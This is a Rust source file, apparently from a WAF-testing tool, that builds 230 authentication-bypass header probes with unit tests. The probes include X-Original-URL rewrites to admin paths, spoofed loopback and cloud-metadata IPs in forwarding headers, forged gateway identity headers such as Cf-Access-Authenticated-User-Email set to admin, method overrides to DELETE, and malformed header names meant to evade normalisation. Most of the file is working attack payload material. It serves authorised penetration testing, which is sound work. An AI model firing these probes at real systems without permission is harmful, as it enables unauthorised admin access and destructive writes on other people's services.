wafrift_encoding/auth_bypass.rs
1//! Auth-bypass header probes (Orange Tsai parser-disagreement class).
2//!
3//! Many WAFs strip or never forward certain "trust" headers — but the
4//! origin application accepts them and uses them for routing or
5//! authentication decisions. The classic exploit primitive is:
6//!
7//! - `X-Original-URL: /admin/secret` — IIS / ASP.NET URL rewriting.
8//! WAF sees `GET /public` and lets it through; backend rewrites to
9//! `/admin/secret` and serves it.
10//! - `X-Rewrite-URL: /admin/secret` — same family, different stack.
11//! - `X-Forwarded-For: 127.0.0.1` — origin trusts this for IP-based
12//! allowlists ("internal calls only").
13//! - `X-Real-IP`, `X-Originating-IP`, `X-Client-IP`, `X-Remote-IP`,
14//! `X-Forwarded-Host` — same family, different headers.
15//! - `X-HTTP-Method-Override: PUT` — origin overrides the actual HTTP
16//! method, turning a GET past the WAF into a destructive write.
17//!
18//! These are not "WAF evasion" in the traditional sense — they exploit
19//! the WAF's correct behaviour (passing through unknown headers) plus
20//! the backend's incorrect behaviour (trusting them). Together: real
21//! pre-auth access on hardened-looking deployments. `ProxyShell`
22//! (CVE-2021-34473) and a long tail of Bugcrowd / `HackerOne` reports
23//! are in this class.
24//!
25//! This module emits a list of `(header_name, header_value)` pairs.
26//! Each pair is one probe variant; callers attach exactly one per
27//! request and observe whether the response status / body changes vs
28//! the baseline.
29
30/// One auth-bypass probe to attach to a single request.
31#[derive(Debug, Clone, PartialEq, Eq)]
32pub struct AuthBypassProbe {
33 /// Header name to inject.
34 pub header: String,
35 /// Header value.
36 pub value: String,
37 /// Short label naming the bypass family (e.g. `x-original-url`,
38 /// `forwarded-for-localhost`, `method-override-put`). Useful for
39 /// gene-bank attribution.
40 pub label: &'static str,
41 /// Concise human description suitable for a finding report.
42 pub description: &'static str,
43}
44
45/// Canonical size of the auth-bypass probe set returned by
46/// [`auth_bypass_probes`] — the single source of truth for the count.
47/// Render-time consumers that cite "N auth-bypass probes" (e.g.
48/// `wafrift legendary`'s report prose) interpolate this const so the
49/// number cannot drift. The static doc sites that can't interpolate a
50/// const (README, clap `#[arg]` help) are instead pinned by
51/// `tests/auth_bypass_probe_count_documented.rs`. Composition:
52/// URL-rewrite (6) + IP-trust (12×7=84) + Host-trust (4×4=16) +
53/// Method-override (4×6=24) + Scheme-trust (3×2=6) + Gateway-identity
54/// (18×5=90) + Header-smuggle-LWS (4) = 230.
55pub const AUTH_BYPASS_PROBE_COUNT: usize = 230;
56
57/// Generate the full set of routing / auth bypass probes for the given
58/// target. `target_path` is the protected resource the user is trying
59/// to reach (e.g. `/admin/users`, `/internal/api/keys`). For probes
60/// that don't take a path it is ignored.
61#[must_use]
62pub fn auth_bypass_probes(target_path: &str) -> Vec<AuthBypassProbe> {
63 // Pre-sized to the canonical count (pinned by an integrity test).
64 // Pre-sizing eliminates 8-9 Vec reallocations during the family
65 // construction loops. Per perf-hunt finding F05.
66 let mut out = Vec::with_capacity(AUTH_BYPASS_PROBE_COUNT);
67
68 // ── URL-rewrite header family ────────────────────────────────────
69 // IIS / ASP.NET / Apache mod_rewrite all honour these in various
70 // configs. The WAF doesn't, so it sees the harmless surface URL.
71 for header in [
72 "X-Original-URL",
73 "X-Rewrite-URL",
74 "X-Override-URL",
75 "X-HTTP-Destination",
76 "Original-URL",
77 "X-Forwarded-Path",
78 ] {
79 out.push(AuthBypassProbe {
80 header: header.to_string(),
81 value: target_path.to_string(),
82 label: "url-rewrite-header",
83 description: "WAF passes header through; backend rewrites URL to target",
84 });
85 }
86
87 // ── IP-trust header family ───────────────────────────────────────
88 // Many backends gate /admin or /internal on "is the source IP in
89 // the loopback / RFC1918 range?" — and read the header instead of
90 // the socket peer. Spoof the trusted IP.
91 let trusted_ips = [
92 "127.0.0.1",
93 "::1",
94 "localhost",
95 "10.0.0.1",
96 "192.168.0.1",
97 "172.16.0.1",
98 "169.254.169.254", // AWS metadata service host
99 ];
100 let ip_headers = [
101 "X-Forwarded-For",
102 "X-Real-IP",
103 "X-Originating-IP",
104 "X-Client-IP",
105 "X-Remote-IP",
106 "X-Remote-Addr",
107 "Forwarded", // RFC 7239 standard form
108 "True-Client-IP", // Akamai / Cloudflare Enterprise
109 "CF-Connecting-IP",
110 "Fastly-Client-IP",
111 "X-Cluster-Client-IP",
112 "Client-IP",
113 ];
114 for h in ip_headers {
115 for ip in trusted_ips {
116 let value = if h.eq_ignore_ascii_case("Forwarded") {
117 // RFC 7239 §4 + §6.3: node-name production requires
118 // IPv6 to be bracketed AND quoted (`for="[::1]"`).
119 // Bare hostnames like `localhost` are NOT valid as
120 // node-names — they must be obfnodes (`_internal`)
121 // or the backend (nginx realip, Apache mod_remoteip)
122 // rejects the value silently and the probe never
123 // reaches the auth path it's meant to test.
124 // Audit (2026-05-10).
125 if ip.contains(':') && !ip.starts_with('[') {
126 format!(r#"for="[{ip}]""#)
127 } else if ip.parse::<std::net::IpAddr>().is_err() {
128 // Non-IP token (e.g. "localhost"): rewrite as
129 // RFC-7239-valid obfnode.
130 let obf: String = ip
131 .chars()
132 .filter(|c| c.is_ascii_alphanumeric() || *c == '_')
133 .collect();
134 format!("for=_{obf}")
135 } else {
136 format!("for={ip}")
137 }
138 } else {
139 ip.to_string()
140 };
141 out.push(AuthBypassProbe {
142 header: h.to_string(),
143 value,
144 label: "ip-trust-spoof",
145 description: "Backend trusts header for IP-based authorization",
146 });
147 }
148 }
149
150 // ── Host-trust header family ─────────────────────────────────────
151 // Origin uses Host header for vhost routing or for "is this an
152 // internal call?". Override with an internal hostname.
153 for h in ["X-Forwarded-Host", "X-Host", "X-Forwarded-Server", "Host"] {
154 for v in ["localhost", "internal", "admin.internal", "127.0.0.1"] {
155 out.push(AuthBypassProbe {
156 header: h.to_string(),
157 value: v.to_string(),
158 label: "host-trust-override",
159 description: "Origin uses header for vhost/internal-call routing",
160 });
161 }
162 }
163
164 // ── Method-override family ───────────────────────────────────────
165 // Backends accepting these turn a GET past the WAF into a PUT/
166 // DELETE/PATCH. Useful when the WAF only inspects state-changing
167 // methods.
168 for value in ["PUT", "DELETE", "PATCH", "POST", "PROPFIND", "TRACE"] {
169 for h in [
170 "X-HTTP-Method-Override",
171 "X-HTTP-Method",
172 "X-Method-Override",
173 "_method", // Rails, Symfony default
174 ] {
175 out.push(AuthBypassProbe {
176 header: h.to_string(),
177 value: value.to_string(),
178 label: "method-override",
179 description: "Origin honours header to switch HTTP method (GET → PUT/DELETE)",
180 });
181 }
182 }
183
184 // ── Scheme-trust family ──────────────────────────────────────────
185 // Some apps gate features on "did you come in over HTTPS?" by
186 // reading X-Forwarded-Proto. If they only enforce auth on HTTP,
187 // forcing https here can flip a check.
188 for h in ["X-Forwarded-Proto", "X-Forwarded-Scheme", "X-Url-Scheme"] {
189 for v in ["http", "https"] {
190 out.push(AuthBypassProbe {
191 header: h.to_string(),
192 value: v.to_string(),
193 label: "scheme-trust",
194 description: "Origin uses header to decide HTTPS-only enforcement",
195 });
196 }
197 }
198
199 // ── 2026 frontier: gateway-injected-identity family ──────────────
200 // Cloud API gateways (Cloudflare Access, AWS API Gateway, Azure
201 // Front Door, GCP IAP, Auth0 Authorization Code Flow) inject
202 // identity headers AFTER the gateway authenticates the caller.
203 // Some backends trust these unconditionally — if the WAF is
204 // upstream of the gateway (uncommon but happens in zero-trust
205 // chained-proxy setups) or if a misconfigured backend reads them
206 // from any caller, spoofing the identity bypasses auth.
207 for h in [
208 "Cf-Access-Authenticated-User-Email", // Cloudflare Access
209 "Cf-Access-Jwt-Assertion",
210 "X-Goog-Authenticated-User-Email", // GCP IAP
211 "X-Goog-Iap-Jwt-Assertion",
212 "X-Amzn-Oidc-Identity", // AWS ALB OIDC
213 "X-Amzn-Oidc-Data",
214 "X-Ms-Client-Principal-Name", // Azure App Service Easy Auth
215 "X-Ms-Client-Principal-Id",
216 "X-Ms-Token-Aad-Id-Token",
217 "X-Authentik-Username", // Authentik / open-source proxy
218 "X-Authentik-Groups",
219 "X-Auth-Request-User", // oauth2-proxy default
220 "X-Auth-Request-Email",
221 "X-Auth-Request-Groups",
222 "X-Forwarded-User", // Traefik forwardAuth default
223 "X-Forwarded-Email",
224 "X-Forwarded-Groups",
225 "X-Webauth-User", // Grafana
226 ] {
227 for v in [
228 "admin",
229 "admin@example.com",
230 "root",
231 "root@localhost",
232 "administrator@internal",
233 ] {
234 out.push(AuthBypassProbe {
235 header: h.to_string(),
236 value: v.to_string(),
237 label: "gateway-identity-spoof",
238 description: "Backend trusts gateway-injected identity header without verifying upstream signature",
239 });
240 }
241 }
242
243 // ── 2026 frontier: header-smuggling-via-LWS family ───────────────
244 // Single-char obfuscations of a known-trusted header name that
245 // some WAFs strip-normalise (case-insensitive byte compare) but
246 // backends preserve as a distinct header. If the backend has a
247 // case-insensitive lookup AND the WAF normalises tokens via
248 // strict case-insensitive ASCII matching only, this slips.
249 //
250 // Per perf-hunt finding F19 (2026-05-23): two of these variants
251 // (leading-space, trailing-tab) violate RFC 7230 §3.2 and are
252 // rejected by compliant HTTP/1.1 parsers (Apache, nginx, IIS, the
253 // reqwest client we use). They survive against custom / embedded
254 // servers (some legacy app servers, internal RPC bridges) but
255 // hit rate is low. Kept for defense-in-depth against non-compliant
256 // stacks rather than removed — see the LWS anti-rig test in
257 // tests/auth_bypass_deep.rs.
258 for variant in [
259 " X-Real-IP", // leading space (RFC-illegal; legacy stacks only)
260 "X-Real-IP\t", // trailing tab (RFC-illegal; legacy stacks only)
261 "X\u{00ad}Real-IP", // soft hyphen U+00AD inside (some parsers drop)
262 "X-Real_IP", // underscore swap (nginx default DROPS this;
263 // Apache passes it through — divergence
264 // surfaces the misconfiguration).
265 ] {
266 out.push(AuthBypassProbe {
267 header: variant.to_string(),
268 value: "127.0.0.1".to_string(),
269 label: "header-smuggle-lws",
270 description: "Whitespace / case / underscore variant of a trusted header — exploits WAF↔backend normalisation gap",
271 });
272 }
273
274 out
275}
276
277#[cfg(test)]
278mod tests {
279 use super::*;
280
281 #[test]
282 fn url_rewrite_family_targets_user_path() {
283 let probes = auth_bypass_probes("/admin/users");
284 let rewrite = probes
285 .iter()
286 .filter(|p| p.label == "url-rewrite-header")
287 .collect::<Vec<_>>();
288 assert!(rewrite.len() >= 6, "missing rewrite-header variants");
289 for p in rewrite {
290 assert_eq!(
291 p.value, "/admin/users",
292 "{} did not carry user path",
293 p.header
294 );
295 }
296 }
297
298 #[test]
299 fn x_original_url_present() {
300 let probes = auth_bypass_probes("/admin");
301 assert!(
302 probes
303 .iter()
304 .any(|p| p.header == "X-Original-URL" && p.value == "/admin"),
305 "missing canonical X-Original-URL probe"
306 );
307 }
308
309 #[test]
310 fn ip_trust_includes_loopback_and_metadata() {
311 let probes = auth_bypass_probes("/x");
312 let ip = probes
313 .iter()
314 .filter(|p| p.label == "ip-trust-spoof")
315 .collect::<Vec<_>>();
316 assert!(ip.iter().any(|p| p.value == "127.0.0.1"));
317 assert!(ip.iter().any(|p| p.value == "169.254.169.254"));
318 // RFC 7239 Forwarded uses for=<ip> form, not bare IP.
319 assert!(
320 ip.iter()
321 .any(|p| p.header.eq_ignore_ascii_case("Forwarded") && p.value.starts_with("for="))
322 );
323 }
324
325 #[test]
326 fn method_override_offers_destructive_methods() {
327 let probes = auth_bypass_probes("/x");
328 let methods: Vec<&str> = probes
329 .iter()
330 .filter(|p| p.label == "method-override")
331 .map(|p| p.value.as_str())
332 .collect();
333 for m in ["PUT", "DELETE", "PATCH"] {
334 assert!(methods.contains(&m), "method {m} not in override probes");
335 }
336 }
337
338 #[test]
339 fn forwarded_host_includes_internal() {
340 let probes = auth_bypass_probes("/x");
341 assert!(
342 probes.iter().any(|p| p.header == "X-Forwarded-Host"
343 && (p.value == "localhost" || p.value == "internal"))
344 );
345 }
346
347 #[test]
348 fn no_probe_has_empty_header_or_value() {
349 for p in auth_bypass_probes("/x") {
350 assert!(!p.header.is_empty(), "empty header in probe");
351 assert!(!p.value.is_empty(), "empty value in probe: {p:?}");
352 }
353 }
354
355 #[test]
356 fn probes_have_unique_header_value_pairs() {
357 let probes = auth_bypass_probes("/admin");
358 let mut seen = std::collections::HashSet::new();
359 for p in &probes {
360 let key = (p.header.to_lowercase(), p.value.clone());
361 assert!(
362 seen.insert(key.clone()),
363 "duplicate (header, value) pair: {key:?}"
364 );
365 }
366 }
367
368 // F132 documentation test: the header-smuggle-LWS family DOES
369 // contain HTTP/1.1-illegal shapes that any compliant client
370 // (reqwest included) will refuse to send. They are kept in the
371 // probe set because raw-TCP / legacy-stack transports CAN deliver
372 // them and that is where the bypass lives. CLI consumers using
373 // reqwest must pre-validate via HeaderName::try_from and warn so
374 // the operator can distinguish "fired and no divergence" from
375 // "client refused to send." This test pins which ones are illegal
376 // — if a future cleanup quietly removes one, this fails first.
377 #[test]
378 fn header_smuggle_lws_family_contains_known_rfc_illegal_shapes() {
379 let probes = auth_bypass_probes("/admin");
380 let smuggle: Vec<&AuthBypassProbe> = probes
381 .iter()
382 .filter(|p| p.label == "header-smuggle-lws")
383 .collect();
384 // Pre-fix this whole batch was ~4; lock that floor so a
385 // refactor doesn't silently drop the family.
386 assert!(
387 smuggle.len() >= 4,
388 "header-smuggle-lws family must contain at least 4 variants"
389 );
390 // Leading-space and trailing-tab variants are RFC 7230 §3.2-
391 // illegal — every compliant HTTP/1.1 parser rejects them.
392 // The probe set keeps them anyway for raw-TCP delivery to
393 // non-compliant origins.
394 assert!(
395 smuggle.iter().any(|p| p.header == " X-Real-IP"),
396 "leading-space variant missing"
397 );
398 assert!(
399 smuggle.iter().any(|p| p.header == "X-Real-IP\t"),
400 "trailing-tab variant missing"
401 );
402 // Soft-hyphen (U+00AD) is non-ASCII; HeaderName requires
403 // ASCII visible chars per RFC 7230 token grammar.
404 assert!(
405 smuggle.iter().any(|p| p.header.contains('\u{00ad}')),
406 "soft-hyphen variant missing"
407 );
408 // X-Real_IP (underscore) is RFC-LEGAL — origin-side normalization
409 // gap. This one SHOULD pass HeaderName validation.
410 assert!(
411 smuggle.iter().any(|p| p.header == "X-Real_IP"),
412 "underscore variant missing"
413 );
414 }
415
416 #[test]
417 fn total_probe_count_locked() {
418 // Lock the count so a future edit doesn't silently drop a probe
419 // family. URL-rewrite (6) + IP-trust (12 headers × 7 IPs = 84)
420 // + Host-trust (4 × 4 = 16) + Method-override (4 × 6 = 24)
421 // + Scheme-trust (3 × 2 = 6) + Gateway-identity (18 × 5 = 90)
422 // + Header-smuggle-LWS (4) = 230.
423 let probes = auth_bypass_probes("/x");
424 assert_eq!(
425 probes.len(),
426 AUTH_BYPASS_PROBE_COUNT,
427 "auth_bypass_probes count drift"
428 );
429 }
430}